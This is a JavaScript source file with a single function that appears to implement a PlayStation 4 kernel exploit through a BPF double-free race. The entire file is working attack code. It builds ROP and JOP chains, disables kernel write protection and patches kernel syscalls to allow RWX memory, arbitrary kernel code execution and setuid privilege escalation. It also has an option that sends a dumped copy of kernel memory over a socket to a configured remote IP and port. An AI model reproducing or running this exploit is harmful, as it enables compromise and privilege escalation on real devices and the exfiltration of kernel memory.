function kernelExploit_bpf_double_free() {
  try {
    var fd = p.syscall(5, p.stringify('/dev/bpf0'), 2).low; // sys_open
    if (fd == (-1 >>> 0)) {
      throw new Error('Failed to open first /dev/bpf0 device!');
    }
    var fd1 = p.syscall(5, p.stringify('/dev/bpf0'), 2).low; // sys_open
    if (fd1 < 0) {
      throw new Error('Failed to open second /dev/bpf0 device!');
    }

    var bpf_valid = p.malloc32(0x4000);
    var bpf_spray = p.malloc32(0x4000);
    var bpf_valid_u32 = bpf_valid.backing;

    var bpf_valid_prog = p.malloc(0x40);
    p.write8(bpf_valid_prog, 0x800 / 8);
    p.write8(bpf_valid_prog.add32(8), bpf_valid);

    var bpf_spray_prog = p.malloc(0x40);
    p.write8(bpf_spray_prog, 0x800 / 8);
    p.write8(bpf_spray_prog.add32(8), bpf_spray);

    for (var i = 0; i < 0x400;) {
      bpf_valid_u32[i++] = 6;
      bpf_valid_u32[i++] = 0;
    }

    if (p.syscall(54, fd, 0x8010427B, bpf_valid_prog).low != 0) { // sys_ioctl
      throw new Error('Failed to open bpf device!');
    }

    var krop = new rop();
    var kscratch = p.malloc32(0x1000);
    var ctxp = p.malloc32(0x1000);
    var ctxp1 = p.malloc32(0x1000);
    var ctxp2 = p.malloc32(0x1000);

    var kpatch = function (dest_offset, patch_data_qword) {
      krop.push(gadgets['pop rax']);
      krop.push(dest_offset);
      krop.push(gadgets['pop rdi']);
      krop.push(kscratch);
      krop.push(gadgets['add rax, [rdi]']);
      krop.push(gadgets['mov rdx, rax']);
      krop.push(gadgets['pop rax']);
      krop.push(patch_data_qword);
      krop.push(gadgets['mov [rdx], rax']);
    };

    var kpatch2 = function (dest_offset, src_offset) {
      krop.push(gadgets['pop rax']);
      krop.push(kscratch);
      krop.push(gadgets['mov rax, [rax]']);
      krop.push(gadgets['pop rcx']);
      krop.push(dest_offset);
      krop.push(gadgets['add rax, rcx']);
      krop.push(gadgets['mov rdx, rax']);
      krop.push(gadgets['pop rax']);
      krop.push(kscratch);
      krop.push(gadgets['mov rax, [rax]']);
      krop.push(gadgets['pop rcx']);
      krop.push(src_offset);
      krop.push(gadgets['add rax, rcx']);
      krop.push(gadgets['mov [rdx], rax']);
    };

    var stackshift_from_retaddr = 0;

    p.write8(bpf_spray.add32(0x10), ctxp);
    p.write8(ctxp.add32(0x50), 0);
    p.write8(ctxp.add32(0x68), ctxp1);

    p.write8(ctxp1.add32(0x10), gadgets['jop1']);
    stackshift_from_retaddr += 0x8 + gadget_shifts['stackshift_jop1'];

    p.write8(ctxp.add32(0x00), ctxp2);
    p.write8(ctxp.add32(0x10), ctxp2.add32(0x08));

    p.write8(ctxp2.add32(gadget_shifts['jump_shift_jop1']), gadgets['jop2']);

    var iterbase = ctxp2;

    for (var i = 0; i < 0xF; i++) {
      p.write8(iterbase, gadgets['jop1']);
      stackshift_from_retaddr += 0x8 + gadget_shifts['stackshift_jop1'];

      p.write8(iterbase.add32(gadget_shifts['jump_shift_jop1'] + 0x20), gadgets['jop2']);

      p.write8(iterbase.add32(0x08), iterbase.add32(0x20));
      p.write8(iterbase.add32(0x18), iterbase.add32(0x28));
      iterbase = iterbase.add32(0x20);
    }

    var raxbase = iterbase;
    var rdibase = iterbase.add32(0x08);
    var memcpy = p.read8(get_jmptgt(gadgets['memcpy']));

    p.write8(raxbase, gadgets['jop3']);
    stackshift_from_retaddr += 0x8;

    p.write8(rdibase.add32(0x70), gadgets['jop4']);
    if (fwFromUA >= 4.50) {
      stackshift_from_retaddr += 0x8;
    }

    p.write8(rdibase.add32(0x18), rdibase);
    p.write8(rdibase.add32(0x08), krop.stackBase);
    p.write8(raxbase.add32(0x30), gadgets['jop_mov rbp, rsp']);

    p.write8(rdibase, raxbase);
    p.write8(raxbase.add32(gadget_shifts['jump_shift_jop5']), gadgets['jop6']);
    stackshift_from_retaddr += gadget_shifts['stackshift_jop6'];

    var topofchain = stackshift_from_retaddr;
    p.write8(raxbase.add32(gadget_shifts['jump_shift_jop6']), memcpy.add32(0xC2 - 0x90));
    p.write8(rdibase.add32(0xB0), topofchain);

    for (var i = 0; i < 0x1000 / 8; i++) {
      p.write8(krop.stackBase.add32(i * 8), gadgets['ret']);
    }

    krop.count = 0x10;

    p.write8(kscratch.add32(gadget_shifts['jump_shift_jop5']), gadgets['pop rdi']);
    p.write8(kscratch.add32(gadget_shifts['jump_shift_jop6']), gadgets['pop rax']);
    p.write8(kscratch.add32(0x18), kscratch);

    krop.push(gadgets['pop rdi']);
    krop.push(kscratch.add32(0x18));
    krop.push(gadgets['jop_mov rbp, rsp']);

    var rboff = topofchain - krop.count * 8;

    krop.push(gadgets['jop6']);
    rboff += gadget_shifts['stackshift_jop6'];

    krop.push(gadgets['pop rax']);
    krop.push(rboff);
    krop.push(gadgets['add rdi, rax; mov rax, rdi']);

    krop.push(gadgets['mov rax, [rdi]']);
    krop.push(gadgets['pop rcx']);
    krop.push(kernel_offsets['kqueue_close_slide']);
    krop.push(gadgets['sub rax, rcx']);
    krop.push(gadgets['mov rdx, rax']);
    krop.push(gadgets['pop rsi']);
    krop.push(kscratch);
    krop.push(gadgets['mov [rsi], rdx']);

    krop.push(gadgets['pop rax']);
    krop.push(gadgets['add rsp, 0x28']);
    krop.push(gadgets['mov [rdi], rax']);

    if (kernel_dump) {
      krop.push(gadgets['pop rdx']);
      krop.push(kernel_dump_size);

      krop.push(gadgets['pop rax']);
      krop.push(kscratch);
      krop.push(gadgets['mov rax, [rax]']);
      krop.push(gadgets['pop rdi']);
      krop.push(0);
      krop.push(gadgets['add rdi, rax; mov rax, rdi']);
      krop.push(gadgets['pop rcx']);
      krop.push(gadgets['ret']);
      krop.push(gadgets['mov rsi, rax; jmp rcx']);

      var kernelBuf = p.malloc(kernel_dump_size);
      krop.push(gadgets['pop rdi']);
      krop.push(kernelBuf);

      krop.push(memcpy);
    } else {
      // Disable kernel write protection
      krop.push(gadgets['pop rax']);
      krop.push(kscratch);
      krop.push(gadgets['mov rax, [rax]']);
      krop.push(gadgets['pop rcx']);
      krop.push(kernel_offsets['mov cr0, rax']);
      krop.push(gadgets['add rax, rcx']);
      krop.push(gadgets['mov rdx, rax']);
      krop.push(gadgets['pop rax']);
      krop.push(0x80040033);
      krop.push(gadgets['jmp rdx']);

      // Add custom sys_exec() call to execute arbitrary code as kernel
      kpatch(kernel_offsets['syscall_11_patch1_offset'], 2);
      kpatch2(kernel_offsets['syscall_11_patch2_offset'], kernel_offsets['jmp [rsi]']);
      kpatch(kernel_offsets['syscall_11_patch3_offset'], new int64(0, 1));

      if (devkit) {
        kpatch(kernel_offsets['syscall_11_2_patch1_offset'], 2);
        kpatch2(kernel_offsets['syscall_11_2_patch2_offset'], kernel_offsets['jmp [rsi]']);
        kpatch(kernel_offsets['syscall_11_2_patch3_offset'], new int64(0, 1));
      }

      // Patch sys_mmap: Allow RWX (read-write-execute) mapping
      kpatch(kernel_offsets['sys_mmap_patch_offset'], new int64(kernel_patches['sys_mmap_patch_1'], kernel_patches['sys_mmap_patch_2']));

      // Patch sys_mprotect: Allow RWX (read-write-execute) mapping
      kpatch(kernel_offsets['vm_map_protect_patch_offset'], new int64(kernel_patches['vm_map_protect_patch_1'], kernel_patches['vm_map_protect_patch_2']));

      // Patch syscall: syscall instruction allowed anywhere
      kpatch(kernel_offsets['amd64_syscall_patch1_offset'], new int64(kernel_patches['amd64_syscall_patch1_1'], kernel_patches['amd64_syscall_patch1_2']));
      kpatch(kernel_offsets['amd64_syscall_patch2_offset'], new int64(kernel_patches['amd64_syscall_patch2_1'], kernel_patches['amd64_syscall_patch2_2']));

      // Patch sys_dynlib_dlsym: Allow from anywhere
      kpatch(kernel_offsets['sys_dynlib_dlsym_patch1_offset'], new int64(kernel_patches['sys_dynlib_dlsym_patch1_1'], kernel_patches['sys_dynlib_dlsym_patch1_2']));
      kpatch(kernel_offsets['sys_dynlib_dlsym_patch2_offset'], new int64(kernel_patches['sys_dynlib_dlsym_patch2_1'], kernel_patches['sys_dynlib_dlsym_patch2_2']));

      // Add kexploit check so we don't run kexploit more than once (also doubles as privilege escalation)
      kpatch(kernel_offsets['sys_setuid_patch_offset'], new int64(kernel_patches['sys_setuid_patch_1'], kernel_patches['sys_setuid_patch_2']));

      // Enable kernel write protection
      krop.push(gadgets['pop rax']);
      krop.push(kscratch);
      krop.push(gadgets['mov rax, [rax]']);
      krop.push(gadgets['pop rcx']);
      krop.push(kernel_offsets['cpu_setregs']);
      krop.push(gadgets['add rax, rcx']);
      krop.push(gadgets['jmp rax']);
    }

    krop.push(gadgets['ret2userland']);
    krop.push(kscratch.add32(0x1000));

    // Clean memory post exploit
    var shellbuf = p.malloc32(0x1000);
    for (var i = 0; i < cleanup_shcode.length; i++) {
      shellbuf.backing[i] = cleanup_shcode[i];
    }

    var interrupt;
    var loop;
    spawnthread(function (thread) {
      interrupt = thread.stackBase;
      thread.push(gadgets['ret']);
      thread.push(gadgets['ret']);
      thread.push(gadgets['ret']);

      thread.push(gadgets['pop rdi']);
      thread.push(fd);
      thread.push(gadgets['pop rsi']);
      thread.push(0x8010427B);
      thread.push(gadgets['pop rdx']);
      thread.push(bpf_valid_prog);
      thread.push(gadgets['pop rsp']);
      thread.push(thread.stackBase.add32(0x800));
      thread.count = 0x800 / 8;
      var cntr = thread.count;
      thread.push(syscalls[54]);
      thread.push_write8(thread.stackBase.add32(cntr * 8), syscalls[54]);

      thread.push(gadgets['pop rdi']);
      var wherep = thread.pushSymbolic();
      thread.push(gadgets['pop rsi']);
      var whatp = thread.pushSymbolic();
      thread.push(gadgets['mov [rdi], rsi']);

      thread.push(gadgets['pop rsp']);

      loop = thread.stackBase.add32(thread.count * 8);
      thread.push(0x41414141);

      thread.finalizeSymbolic(wherep, loop);
      thread.finalizeSymbolic(whatp, loop.sub32(8));
    });

    var race = new rop();
    var kq = p.malloc32(0x10);
    var kev = p.malloc32(0x100);
    kev.backing[0] = p.syscall(97, 2, 2); // sys_socket
    kev.backing[2] = 0x1FFFF;
    kev.backing[3] = 1;
    kev.backing[4] = 5;

    while (1) {
      race.count = 0;

      race.push(syscalls[362]);
      race.push(gadgets['pop rdi']);
      race.push(kq);
      race.push(gadgets['mov [rdi], rax']);

      race.push(gadgets['ret']);
      race.push(gadgets['ret']);
      race.push(gadgets['ret']);
      race.push(gadgets['ret']);
      race.push_write8(loop, interrupt);
      race.push(gadgets['pop rdi']);
      race.push(fd);
      race.push(gadgets['pop rsi']);
      race.push(0x8010427B);
      race.push(gadgets['pop rdx']);
      race.push(bpf_valid_prog);
      race.push(syscalls[54]);

      race.push(gadgets['pop rdi']);
      race.push(kq.sub32(0x48));
      race.push(gadgets['mov rdi, [rdi+0x48]']);
      race.push(gadgets['pop rsi']);
      race.push(kev);
      race.push(gadgets['pop rdx']);
      race.push(1);
      race.push(gadgets['pop rcx']);
      race.push(0);
      race.push(gadgets['pop r8']);
      race.push(0);
      race.push(syscalls[363]);

      race.push(gadgets['pop rdi']);
      race.push(fd1);
      race.push(gadgets['pop rsi']);
      race.push(0x8010427B);
      race.push(gadgets['pop rdx']);
      race.push(bpf_spray_prog);
      race.push(syscalls[54]);

      race.push(gadgets['pop rdi']);
      race.push(kq.sub32(0x48));
      race.push(gadgets['mov rdi, [rdi+0x48]']);
      race.push(syscalls[6]);

      race.run();

      if (kscratch.backing[0] != 0) {
        if (kernel_dump) {
          alert('Starting kernel dumping to ' + dump_ip + ':' + dump_port + '. Accept to continue');
          var s = p.socket();
          p.connectSocket(s, dump_ip, dump_port);
          p.writeSocket(s, kernelBuf, kernel_dump_size);
          p.closeSocket(s);
          alert('Kernel has, theoretically, been dumped on your target');
        }

        p.syscall(74, shellbuf, 0x4000, 7); // sys_mprotect
        p.fcall(shellbuf);

        return true;
      }
    }
  } catch (e) {
    throw new Error(e.message);
  }

  return false;
}
